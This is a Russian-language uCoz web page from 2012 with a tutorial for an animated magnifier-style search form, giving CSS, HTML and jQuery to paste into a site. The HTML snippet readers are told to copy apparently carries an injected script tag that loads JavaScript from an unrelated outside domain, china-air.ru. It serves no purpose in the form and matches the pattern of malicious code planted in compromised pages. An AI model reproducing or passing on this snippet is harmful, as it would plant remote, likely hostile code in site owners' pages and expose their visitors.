Вторник, 23.05.2017, 22:39 Приветствую Вас Гость





Главная | Регистрация | Вход | RSS
Меню сайта
Категории раздела
Software for Windows/internet [62]
Программы для Windows и Интернета
Графические редакторы [37]
Каталог бесплатных графических редакторов
Плагины Adobe Photoshop [8]
Плагины для популярнейшего графического редактора - Adobe Photoshop
WEB DESIGNER [80]
В помощь WEB-Мастеру. Бесплатные программы по управлению и созданию сайта
SEO оптимизация [5]
Описание ресурсов Рунета предлагающих раскрутку сайта
Форма входа
Позвонить Админу
Поиск
Translator
Alexa Traffic Rank
Регистрации
Друзья сайта
Дизайн, проектирование в программах CorelDRAW, PhotoShop, ArchiCAD. Картины на заказ.



Пасквили и насмешки в линте новостей
Главная » 2012 » Декабрь » 23 » Форма поиска для Ucoz


17:26
Форма поиска для Ucoz
Первое состояние, изображение лупы.
Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса.
Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы.

Итак давайте приступим к установке:
Установка CSS

Код
#search {
  font-family: Helvetica Neue, Helvetica, Arial, sans-serif;
  background:#fff;
  width: 8px;
  padding: 0 8px;
  height: 24px;
  font-size: 14px;
  color: #666;
  line-height: 24px;
  border: 0;
  outline: none;
  border-radius: 50px;
  position: relative;
  z-index: 5;
  -moz-transition: .1s ease;
  -ms-transition: .1s ease;
  -webkit-transition: .1s ease;
  -o-transition: .1s ease;
  transition: .1s ease;
  cursor:pointer;
}
#search:focus {
  border: 0;
  outline: none;
  width: 180px; /*ширина открытой формы*/
}
p.s {
  z-index: 4;
  position: relative;
  padding: 6px;
  border-radius: 100px;
  background: #abc8df;
  display: inline-block;
  cursor:pointer;
}
p.s:hover, p.s:hover:after {
  background: #9eb9cf;
}
p.s_fo {
  -o-transition: 0.9s;
  -moz-transition: 0.9s;
  -ms-transition: 0.9s;
  -webkit-transition: 0.9s;
  transition: 0.9s;
  -moz-transform: rotate(1080deg);
  -ms-transform: rotate(1080deg);
  -webkit-transform: rotate(1080deg);
  -o-transform: rotate(1080deg);
  transform: rotate(1080deg);
}
p.s:after {
  content: '';
  display: block;
  position: absolute;
  width: 7px;
  height: 12px;
  background: #abc8df;
  bottom: -4px;
  right: -2px;
  border-radius: 0 0 5px 5px;
  -moz-transform: rotate(-45deg);
  -ms-transform: rotate(-45deg);
  -webkit-transform: rotate(-45deg);
  -o-transform: rotate(-45deg);
  transform: rotate(-45deg);
}
.blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/
.blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/
.green p.s, .green p.s:after {background:#65b11c;}
.green p.s:hover, .green p.s:hover:after {background:#599c18;}
.gray p.s, .gray p.s:after {background:#d7d7d7;}
.gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;}
.pink p.s, .pink p.s:after {background:#ffbcef;}
.pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;}
.orange p.s, .orange p.s:after {background:#faaa3a;}
.orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;}
.black p.s, .black p.s:after {background:#676767;}
.black p.s:hover, .black p.s:hover:after {background:#484747;}


Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл
Установка HTML

Код
<form method="get" action="/search/" class="blue">
  <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p>
</form>


Устанавливаем в то месте где хотим видеть...
Установка JS

Код
<script>
jQuery(document).ready(function () {
  $('#search').focusout(function(){
  $('p.s').addClass("s_fo");
  });
  $('#search').focusin(function(){
  $('p.s').removeClass("s_fo");
  });
});
</script>


Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска

Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений

blue - голубой
green - зеленый
gray - серый
pink - розовый
orange - оранжевый
black - черный

Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части.

Понравилась статья? Оставьте свое мнение в комментариях к ней...
Просмотров: 107 | Добавил: budyvmaster | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Время жизни сайта
Социальные сети
Каталог статей
Девушка в огне


Работа с PSD исходником.


„Крутится, вертится шар голубой..” - 2-D графика.


Cоздание образцов (узоров) и нестандартных кистей


РИСУЕМ ВОЛОСЫ


Капли дождя


СТЕКЛЯННЫЕ БУКВЫ


СЕРЕБРЯНАЯ СТАТУЭТКА


Рисуем кистями


ВСТАВЛЯЕМ КИСТИ, ФИЛЬТРЫ, СТИЛИ, МАКРО В ФОТОШОП.


Каменная стена


Создать „блестящую” Землю средствами „Photoshop” - 3D


Свастика


Каталог файлов
Векторный Клипарт – Хохлома


Новогодняя открытка


Богини Карла Банга


Архитектура - растровые фоны


Открытка ко дню Св. Валентина


Harry's Photoshop Actions


С Новым годом!


Золотая рамка


Blue-frame


Elegant Letters Brush


Мистические фоны-1


Мистические фоны-2


Мистические фоны-3


Самые красивые женщины планеты-1


Самые красивые женщины планеты-2


Счетчики
 
Рейтинг@Mail.ru

Яндекс.Метрика
Баглер - рейтинг русскоязычных сайтов

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Календарь
«  Декабрь 2012  »
ПнВтСрЧтПтСбВс
     12
3456789
10111213141516
17181920212223
24252627282930
31
Protected by Copyscape Plagiarism Detection Copyright MyCorp © 2017 Конструктор сайтов - uCoz